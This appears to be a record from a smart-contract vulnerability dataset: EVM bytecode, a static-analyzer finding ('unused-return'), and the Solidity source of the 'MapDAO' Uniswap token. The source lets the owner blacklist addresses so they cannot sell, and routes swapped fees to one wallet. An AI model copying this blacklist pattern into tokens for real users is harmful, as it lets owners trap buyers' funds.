15260200191505060405180910390f35b341561061a57600080fd5b610646600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506113c3565b6040518082815260200191505060405180910390f35b341561066757600080fd5b61066f6113db565b604051808215151515815260200191505060405180910390f35b341561069457600080fd5b61069c6113e7565b6040518082815260200191505060405180910390f35b34156106bd57600080fd5b6106c56113ed565b6040518082815260200191505060405180910390f35b34156106e657600080fd5b610712600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506113f3565b005b341561071f57600080fd5b61076c6004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506114a9565b005b341561077957600080fd5b610781611594565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107ce57600080fd5b6107fa600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115b9565b604051808215151515815260200191505060405180910390f35b341561081f57600080fd5b6108276115d9565b005b341561083457600080fd5b61083c6116ff565b6040518082815260200191505060405180910390f35b341561085d57600080fd5b610865611705565b6040518082815260200191505060405180910390f35b341561088657600080fd5b61088e61170b565b6040518082815260200191505060405180910390f35b34156108af57600080fd5b6108c56004808035906020019091905050611711565b005b34156108d257600080fd5b6108ec600480803561ffff16906020019091905050611786565b005b34156108f957600080fd5b61090f6004808035906020019091905050611802565b005b341561091c57600080fd5b610924611877565b604051808260ff1660ff16815260200191505060405180910390f35b341561094b57600080fd5b610977600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061188a565b005b341561098457600080fd5b61099a600480803590602001909190505061194f565b005b34156109a757600080fd5b6109d3600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506119b4565b005b34156109e057600080fd5b6109e8611a6a565b6040518082815260200191505060405180910390f35b3415610a0957600080fd5b610a11611a70565b6040518082815260200191505060405180910390f35b3415610a3257600080fd5b610a3a611a76565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60006007544210158015610a91575060085442105b905090565b60008114151515610aa657600080fd5b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610afe57600080fd5b6007544210158015610b1257506008544211155b1515610b1d57600080fd5b5050565b6000806000841415610b365760009150610b55565b8284029050828482811515610b4757fe5b04141515610b5157fe5b8091505b5092915050565b6000808284811515610b6a57fe5b0490508091505092915050565b6000808284019050838110151515610b8b57fe5b8091505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1983836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610c5957600080fd5b5af11515610c6657600080fd5b50505060405180519050505050565b60006009544210158015610c8a5750600a5442105b905090565b60008114151515610c9f57600080fd5b600c54610cd9670de0b6b3a7640000610ccb600654856005546004540101610b2190919063ffffffff16565b610b5c90919063ffffffff16565b11151515610ce657600080fd5b6009544210158015610cfa5750600a544211155b1515610d0557600080fd5b5050565b600080600080610d2460035486610b2190919063ffffffff16565b9250829150610d58670de0b6b3a7640000610d4a60065488610b2190919063ffffffff16565b610b5c90919063ffffffff16565b90506298968081101515610da657610d9f610d906064610d82600787610b2190919063ffffffff16565b610b5c90919063ffffffff16565b83610b7790919063ffffffff16565b9150610e3c565b624c4b4081101515610df257610deb610ddc6064610dce600587610b2190919063ffffffff16565b610b5c90919063ffffffff16565b83610b7790919063ffffffff16565b9150610e3b565b620f424081101515610e3a57610e37610e286064610e1a600387610b2190919063ffffffff16565b610b5c90919063ffffffff16565b83610b7790919063ffffffff16565b91505b5b5b6213c68060095401421015610e8b57610e84610e756064610e67601487610b2190919063ffffffff16565b610b5c90919063ffffffff16565b83610b7790919063ffffffff16565b9150610f67565b6224ea0060095401421015610eda57610ed3610ec46064610eb6600f87610b2190919063ffffffff16565b610b5c90919063ffffffff16565b83610b7790919063ffffffff16565b9150610f66565b62375f0060095401421015610f2957610f22610f136064610f05600a87610b2190919063ffffffff16565b610b5c90919063ffffffff16565b83610b7790919063ffffffff16565b9150610f65565b610f62610f536064610f45600587610b2190919063ffffffff16565b610b5c90919063ffffffff16565b83610b7790919063ffffffff16565b91505b5b5b819350505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fcd57600080fd5b60075481111515610fdd57600080fd5b8060088190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561104257600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60095481565b600a5481565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110f357600080fd5b6009548111151561110357600080fd5b80600a8190555050565b60008060008060095442101580156111265750600a5442105b151561113157600080fd5b3393503492506111418484610c8f565b61116661114f846002611a9c565b61115885610d09565b610b7790919063ffffffff16565b9150611173836003611a9c565b905061118a83600554610b7790919063ffffffff16565b60058190555082600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111de8483610b95565b6111e88582610b95565b8373ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8484604051808381526020018281526020019250505060405180910390a25050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a544211905090565b6000600a544211151561128957600080fd5b600b546112d1670de0b6b3a76400006112c36006546112b5600554600454610b7790919063ffffffff16565b610b2190919063ffffffff16565b610b5c90919063ffffffff16565b1015156112dd57600080fd5b6000600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561132b57600080fd5b3390508073ffffffffffffffffffffffffffffffffffffffff166108fc600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549081150290604051600060405180830381858888f1935050505015156113ad57600080fd5b50565b600d60009054906101000a900460ff1681565b600f6020528060005260406000206000915090505481565b60006008544211905090565b60065481565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561144e57600080fd5b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561150657600080fd5b600090505b8151811015611590576001600e6000848481518110151561152857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808060010191505061150b565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e6020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561163457600080fd5b600a544211151561164457600080fd5b600b5461168c670de0b6b3a764000061167e600654611670600554600454610b7790919063ffffffff16565b610b2190919063ffffffff16565b610b5c90919063ffffffff16565b1015151561169957600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6005549081150290604051600060405180830381858888f1935050505015156116fd57600080fd5b565b60045481565b60055481565b600c5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561176c57600080fd5b600a548110151561177c57600080fd5b8060098190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117e157600080fd5b60008161ffff161115156117f457600080fd5b8061ffff1660038190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561185d57600080fd5b6008548110151561186d57600080fd5b8060078190555050565b600d60019054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118e557600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff161415151561190b57600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119aa57600080fd5b8060068190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a0f57600080fd5b6001600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60085481565b600b5481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611adb6064611acd8460ff16611abf60035488610b2190919063ffffffff16565b610b2190919063ffffffff16565b610b5c90919063ffffffff16565b9050929150505600a165627a7a723058208d6ef852921092f776fc74e97f3f3745522cc80f292cc1092fd7a9304f55787e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,125 |
0x8c5365450f9152a1c9768979d4f2ee41069a105c
|
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _dev;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MapDAO is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
struct Taxes {
uint256 buyFee1;
uint256 buyFee2;
uint256 sellFee1;
uint256 sellFee2;
}
Taxes private _taxes = Taxes(0,3,0,3);
uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2;
uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2;
address payable private _feeAddrWallet;
uint256 private _feeRate = 15;
string private constant _name = "MapDAO";
string private constant _symbol = "MAPD";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
bool private _isBuy = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xAE012Ea94cAa4FE769a09781Ac3D6Ee888D70fE9);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
_isBuy = true;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){
require(!bots[from] && !bots[to]);
_isBuy = false;
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function getIsBuy() private view returns (bool){
return _isBuy;
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyOwner {
require(buyFee1 + buyFee2 <= initialTotalBuyFee);
require(sellFee1 + sellFee2 <= initialTotalSellFee);
_taxes.buyFee1 = buyFee1;
_taxes.buyFee2 = buyFee2;
_taxes.sellFee1 = sellFee1;
_taxes.sellFee2 = sellFee2;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _feeAddrWallet);
require(rate<=49);
_feeRate = rate;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(1).div(100);
_maxWalletSize = _tTotal.mul(2).div(100);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addBot(address[] memory _bots) public onlyOwner {
for (uint i = 0; i < _bots.length; i++) {
if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){
bots[_bots[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101395760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e3578063a9059cbb1461040e578063b87f137a1461044b578063c3c8cd8014610474578063c9567bf91461048b578063dd62ed3e146104a257610140565b80636fc3eaec1461033657806370a082311461034d578063715018a61461038a578063751039fc146103a15780638da5cb5b146103b857610140565b806323b872dd116100fd57806323b872dd1461022a578063273123b714610267578063313ce5671461029057806345596e2e146102bb5780635932ead1146102e4578063677daa571461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806321bbcbb11461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104df565b6040516101679190613168565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612c91565b61051c565b6040516101a4919061314d565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612dd8565b61053a565b005b3480156101e257600080fd5b506101eb610631565b6040516101f891906132aa565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612ccd565b610642565b005b34801561023657600080fd5b50610251600480360381019061024c9190612c42565b61093c565b60405161025e919061314d565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612bb4565b610a15565b005b34801561029c57600080fd5b506102a5610b05565b6040516102b2919061331f565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612d60565b610b0e565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612d0e565b610b87565b005b34801561031957600080fd5b50610334600480360381019061032f9190612d60565b610c39565b005b34801561034257600080fd5b5061034b610d13565b005b34801561035957600080fd5b50610374600480360381019061036f9190612bb4565b610d85565b60405161038191906132aa565b60405180910390f35b34801561039657600080fd5b5061039f610dd6565b005b3480156103ad57600080fd5b506103b6610f29565b005b3480156103c457600080fd5b506103cd610fe0565b6040516103da919061307f565b60405180910390f35b3480156103ef57600080fd5b506103f8611009565b6040516104059190613168565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612c91565b611046565b604051610442919061314d565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190612d60565b611064565b005b34801561048057600080fd5b5061048961113e565b005b34801561049757600080fd5b506104a06111b8565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190612c06565b61176e565b6040516104d691906132aa565b60405180910390f35b60606040518060400160405280600681526020017f4d617044414f0000000000000000000000000000000000000000000000000000815250905090565b60006105306105296117f5565b84846117fd565b6001905092915050565b6105426117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c69061320a565b60405180910390fd5b600f5483856105de91906133e0565b11156105e957600080fd5b60105481836105f891906133e0565b111561060357600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b6000683635c9adc5dea00000905090565b61064a6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce9061320a565b60405180910390fd5b60005b8151811015610938573073ffffffffffffffffffffffffffffffffffffffff16828281518110610733577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156107ed5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107cc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156108875750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610866577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15610925576001600760008484815181106108cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080610930906135c0565b9150506106da565b5050565b60006109498484846119c8565b610a0a846109556117f5565b610a058560405180606001604052806028815260200161391c60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109bb6117f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6e9092919063ffffffff16565b6117fd565b600190509392505050565b610a1d6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa19061320a565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b4f6117f5565b73ffffffffffffffffffffffffffffffffffffffff1614610b6f57600080fd5b6031811115610b7d57600080fd5b8060128190555050565b610b8f6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c139061320a565b60405180910390fd5b80601460176101000a81548160ff02191690831515021790555050565b610c416117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc59061320a565b60405180910390fd5b60008111610cdb57600080fd5b610d0a6064610cfc83683635c9adc5dea00000611fd290919063ffffffff16565b61204d90919063ffffffff16565b60158190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d546117f5565b73ffffffffffffffffffffffffffffffffffffffff1614610d7457600080fd5b6000479050610d8281612097565b50565b6000610dcf600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612103565b9050919050565b610dde6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e629061320a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f316117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb59061320a565b60405180910390fd5b683635c9adc5dea00000601581905550683635c9adc5dea00000601681905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4d41504400000000000000000000000000000000000000000000000000000000815250905090565b600061105a6110536117f5565b84846119c8565b6001905092915050565b61106c6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f09061320a565b60405180910390fd5b6000811161110657600080fd5b611135606461112783683635c9adc5dea00000611fd290919063ffffffff16565b61204d90919063ffffffff16565b60168190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661117f6117f5565b73ffffffffffffffffffffffffffffffffffffffff161461119f57600080fd5b60006111aa30610d85565b90506111b581612171565b